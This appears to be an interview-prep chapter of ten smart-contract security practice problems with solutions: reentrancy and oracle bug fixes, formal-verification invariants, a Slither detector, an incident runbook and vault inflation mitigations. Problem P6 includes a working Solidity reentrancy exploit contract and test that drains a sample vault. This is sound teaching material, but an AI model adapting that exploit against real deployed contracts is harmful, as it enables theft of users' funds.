Coding Problems
Ten security-flavored problems. Each has a hidden solution — try yours first, then expand. Most should be doable in 15-30 minutes on paper.
How to use this chapter
Each problem includes a setup and a hidden solution. For drill mode: cover the answer, work through it on paper or in a sandbox repo, then reveal. The point isn't the answer — it's the reasoning chain.
Talk while you work. Interviewers score the reasoning over the bug-find. "I'd check reentrancy first because there's an external call, then access control because the function isn't owner-gated, then math..." is a better answer than silent staring followed by the right bug.
P1 · Spot the bug — withdraw
Below is a vault withdraw function. Find the bug(s) and propose a fix.
contract Vault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "INSUFFICIENT");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "TRANSFER_FAIL");
balances[msg.sender] -= amount;
}
}Reveal solution
Classic reentrancy. The external call happens before the balance update, so a malicious recipient can re-enter withdraw and drain. Fix: apply CEI — update state before the external call — and/or add nonReentrant.
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "INSUFFICIENT");
balances[msg.sender] -= amount; // effect first
(bool ok,) = msg.sender.call{value: amount}(""); // interaction last
require(ok, "TRANSFER_FAIL");
}P2 · Write the CVL invariant: no bad debt
For a lending market with totalSupplyAssets(), totalBorrowAssets(), totalSupplyShares(), totalBorrowShares() — write a CVL invariant that captures "the protocol always has enough underlying to cover all borrowers."
Reveal solution
invariant noBadDebt()
totalBorrowAssets() <= totalSupplyAssets()
{
preserved with (env e) {
// Required: time hasn't advanced absurdly (rate accrual sane)
require e.block.timestamp < 2^40;
}
}Note: this invariant might fail on an instant after accrual if you haven't bounded the interest rate. In practice you'd also add a rate-monotonic assumption and possibly summarize the rate function.
P3 · Foundry invariant test: AMM solvency
For a constant-product AMM with reserves r0, r1 and LP token shares: write an invariant test asserting the AMM is always solvent (reserves cover all redeemable claims).
Reveal solution
contract AMMInvariants is Test {
AMM amm;
Handler handler;
function setUp() public {
amm = new AMM();
handler = new Handler(amm);
targetContract(address(handler));
}
function invariant_KIncreases() public {
// K = r0 * r1 only grows (or stays equal) after fee-bearing swaps
assertGe(amm.r0() * amm.r1(), handler.ghostInitialK());
}
function invariant_TotalSharesGtZero() public {
assertGt(amm.totalShares(), 0);
}
function invariant_ReservesMatchBalances() public {
assertEq(amm.r0(), token0.balanceOf(address(amm)));
assertEq(amm.r1(), token1.balanceOf(address(amm)));
}
}Hint about the third invariant: if you fail this one in production, you've found a donation-style accounting bug.
P4 · Write a Slither custom detector
Outline a Slither detector that flags any external state-modifying function lacking a nonReentrant modifier when the function makes an external call.
Reveal solution
Outline (Python):
from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification
class MissingReentrancyGuard(AbstractDetector):
ARGUMENT = "missing-nonreentrant"
HELP = "External fns with external call lacking nonReentrant"
IMPACT = DetectorClassification.MEDIUM
CONFIDENCE = DetectorClassification.MEDIUM
def _detect(self):
results = []
for contract in self.compilation_unit.contracts_derived:
for fn in contract.functions:
if not fn.is_external_or_public(): continue
if fn.view or fn.pure: continue
if not any(call.is_external for call in fn.all_external_calls()): continue
if any(m.name == "nonReentrant" for m in fn.modifiers): continue
results.append(self.generate_result([fn, " missing nonReentrant\n"]))
return resultsReal implementation needs to handle interface calls vs library calls, OpenZeppelin's check, etc.
P5 · Design a fix
Given the vault from P1, you can't add nonReentrant because the codebase pre-dates OpenZeppelin and doesn't have one. Design two alternative fixes — one with no library, one using transient storage (post-Cancun).
Reveal solution
Option 1 — inline lock using storage:
uint256 private _locked = 1;
modifier lock() {
require(_locked == 1, "REENTRY");
_locked = 2;
_;
_locked = 1;
}Option 2 — transient storage (EIP-1153):
bytes32 constant LOCK_SLOT = keccak256("vault.reentrancy.lock");
modifier lock() {
assembly {
if tload(LOCK_SLOT) { mstore(0, 0x52454e545259) revert(0, 32) }
tstore(LOCK_SLOT, 1)
}
_;
assembly { tstore(LOCK_SLOT, 0) }
}Option 2 saves the SSTORE/SLOAD cost (~5000 gas per protected call). Option 1 works on chains pre-Cancun.
P6 · Write a PoC exploit (education only)
Given the vault from P1, write a Foundry test that exploits the bug. The PoC should demonstrate a complete drain.
Reveal solution
contract Attacker {
Vault public vault;
uint256 public stolen;
constructor(Vault _vault) { vault = _vault; }
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw(msg.value);
}
receive() external payable {
if (address(vault).balance >= msg.value) {
vault.withdraw(msg.value);
} else {
stolen = address(this).balance;
}
}
}
contract VaultExploitTest is Test {
function testDrain() public {
Vault v = new Vault();
// Victim deposits
vm.deal(address(0xBEEF), 10 ether);
vm.prank(address(0xBEEF));
v.deposit{value: 10 ether}();
// Attacker deposits 1 ETH and drains the rest
Attacker a = new Attacker(v);
vm.deal(address(this), 1 ether);
a.attack{value: 1 ether}();
assertEq(address(v).balance, 0);
assertGt(a.stolen(), 10 ether);
}
}This is an education-only PoC. In real bounty triage, PoCs run against a local fork, never against live mainnet contracts.
P7 · Spot the bug — oracle read
Find the bug.
function getCollateralValue(address user) public view returns (uint256) {
uint256 collateral = collateralOf[user];
(, int256 price, , uint256 updatedAt, ) = chainlinkFeed.latestRoundData();
return collateral * uint256(price) / 1e8;
}Reveal solution
Multiple bugs:
- No staleness check.
updatedAtis read but never compared toblock.timestamp. A stale price will be used as fresh. - No negative-price check. Chainlink can return 0 or negative on certain failure modes;
uint256(price)on a negative value wraps to a huge number. - No round-completeness check. The first return value (
roundId) andansweredInRoundaren't checked; round may not have completed.
function getCollateralValue(address user) public view returns (uint256) {
uint256 collateral = collateralOf[user];
(uint80 roundId, int256 price, , uint256 updatedAt, uint80 answeredInRound) = chainlinkFeed.latestRoundData();
require(price > 0, "INVALID_PRICE");
require(updatedAt != 0 && block.timestamp - updatedAt <= MAX_STALENESS, "STALE");
require(answeredInRound >= roundId, "INCOMPLETE_ROUND");
return collateral * uint256(price) / 1e8;
}P8 · Write a war-room runbook
You wake up to an alert: unusual outflow detected, 3% of TVL drained in the last 30 minutes. Outline the runbook for the first 4 hours.
Reveal solution
- 0-10 min: Acknowledge alert. Open war-room channel. Page secondary on-call.
- 10-30 min: Validate the alert. Pull recent transactions. Identify the address(es) involved. Is this withdrawal or transfer? Is it a single actor or many?
- 30-60 min: Determine if it's an exploit (vs e.g., a single whale exit). If suspicious: invoke pause if available; alert multi-sig.
- 1-2 hours: Trace root cause. Did a contract get called in a novel way? Was there an oracle deviation? Look at correlated events.
- 2-3 hours: If exploit confirmed: white-hat rescue if possible (drain remaining funds to a safe contract). Contact incident-response community (Seal 911, Security Alliance). Notify exchanges to freeze inbound deposits from the attacker address.
- 3-4 hours: Initial public statement ("we are investigating an incident, please refrain from interacting with X contracts"). Begin patch.
Comms discipline throughout: one designated voice, no speculation, acknowledge fast but commit slowly.
P9 · CVL parametric access control
Write a CVL parametric rule asserting that only the owner can change protocol parameters.
Reveal solution
// Track if any parameter changed
ghost bool paramChanged {
init_state axiom paramChanged == false;
}
hook Sstore _interestRate uint256 newVal (uint256 oldVal) STORAGE {
if (newVal != oldVal) paramChanged = true;
}
hook Sstore _ltv uint256 newVal (uint256 oldVal) STORAGE {
if (newVal != oldVal) paramChanged = true;
}
rule onlyOwnerChangesParams(method f, env e, calldataarg args) {
require !paramChanged;
f(e, args);
assert paramChanged => e.msg.sender == owner();
}The parametric rule explodes over every method, so a single rule covers the whole external surface.
P10 · Donation attack mitigation
Given an empty ERC-4626 vault, describe four distinct mitigations to the first-depositor inflation attack and rank them by side-effects.
Reveal solution
- Decimal offset (OpenZeppelin default) — virtual shares with a decimal offset (e.g., 10^6). Inflation becomes economically unprofitable. Best default. Side-effects: small precision tax on legitimate users.
- Dead shares — first deposit mints e.g. 1000 wei of shares to address(0). Side-effects: first depositor loses the dead-shares amount. Simple.
- Minimum first deposit — require first deposit ≥ MIN_INITIAL (e.g., 100 token units). Side-effects: UX friction; doesn't help if attacker is willing to spend MIN_INITIAL.
- Track deposits internally — vault stores a
storedAssetsvariable updated only on deposit/withdraw; donations don't affect accounting. Side-effects: more code; donated assets become unrecoverable.
In an interview, naming OpenZeppelin ERC4626's default and explaining why it's the default signals depth.